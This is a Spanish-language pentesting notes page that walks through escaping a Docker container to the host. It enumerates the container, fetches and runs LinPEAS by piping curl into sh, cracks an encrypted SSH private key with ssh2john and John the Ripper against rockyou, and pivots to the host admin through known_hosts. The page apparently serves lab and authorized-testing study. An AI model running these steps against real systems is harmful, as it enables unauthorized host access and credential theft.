> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md).

# Escape de Docker (claves SSH) - Escalada de privilegios en Linux

Notas de escape de Docker (claves SSH) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación enfocada en informes.

## Qué es

Las vías de escape de Docker aprovechan una mala configuración del contenedor, recursos del host montados, credenciales predeterminadas, contraseñas reutilizadas o privilegios excesivos del contenedor. El objetivo es pasar del contexto del contenedor al acceso a nivel del host. Esta página específica se centra en **Escape de Docker (claves SSH)** y mantiene práctico el flujo de explotación: identifica la condición, valídala de forma segura y luego ejecuta la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Empieza confirmando el contexto local y la configuración errónea exacta antes de ejecutar la ruta de explotación.

```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```

## Ejemplos

Estamos dentro de un contenedor y usamos el comando para encontrar la dirección del contenedor en el host (192.168.150.1). Luego comprobamos si el puerto 22 está abierto en esta máquina.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-476af1d8ab4a3efc5227e9aa1d1ef14cbcb598f1%2Fimage%20(1991).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c57f5bb1c05dd0a4e61a0f2294844ed7f716add%2Fimage%20(1997).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
echo '' > /dev/tcp/192.168.150.1/22
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29f96a55168c4b757c52282d086f2c1f6c419a38%2Fimage%20(1998).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Enumeración del sistema (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Usamos LinPEAS para la enumeración de escalada de privilegios:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d512a126aed5b3146c65651c81b4627fb84a3de0%2Fimage%20(1992).png?alt=media" alt=""><figcaption></figcaption></figure>

**Encontramos una carpeta tgz inesperada en el directorio raíz.**

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f5f654dc0f448a56355b823692709a8b6d5f5f92%2Fimage%20(1993).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```

### **Crackeo de clave privada SSH protegida:**

### Identificación de la clave privada SSH

Identificamos un par de claves SSH pública y privada de OpenSSH.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-810af6f6e4db828dae545ff7c8bb3d2444ee5130%2Fimage%20(1994).png?alt=media" alt=""><figcaption></figcaption></figure>

### Crackeo de la clave privada:

* Observamos que la clave privada está cifrada

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eefa4a4a07131bdb4ceee38a9fcf769ccf2b4887%2Fimage%20(1995).png?alt=media" alt=""><figcaption></figcaption></figure>

* Usamos **ssh2john.py** para convertir el contenido del archivo en un hash:

```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f06955dcd19732aea575d8f17f3a6c7b63082705%2Fimage%20(1996).png?alt=media" alt=""><figcaption></figcaption></figure>

* Luego usamos John the Ripper para romper el hash con un archivo de contraseñas.

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4355426d283b2244a50ea94e5a1d92b3431fe046%2Fimage%20(1999).png?alt=media" alt=""><figcaption></figcaption></figure>

### Acceso como root:

Obtenemos acceso a la máquina como root.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c597a9224437049c55a8b6b324768a4d5813c8d3%2Fimage%20(2000).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Aprovechando la confianza en la clave SSH para escapar del contenedor:**

Usa la `known_hosts` configuración en el directorio SSH del contenedor para pivotar a otra máquina, lo que nos permite conectarnos al usuario administrador en la máquina host.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e5df0067bdbb5dece9f4c7b134ed2d645a3d87f%2Fimage%20(2001).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3376717d0cabe33e21ef46973c3aad0e3837db99%2Fimage%20(2002).png?alt=media" alt=""><figcaption></figcaption></figure>


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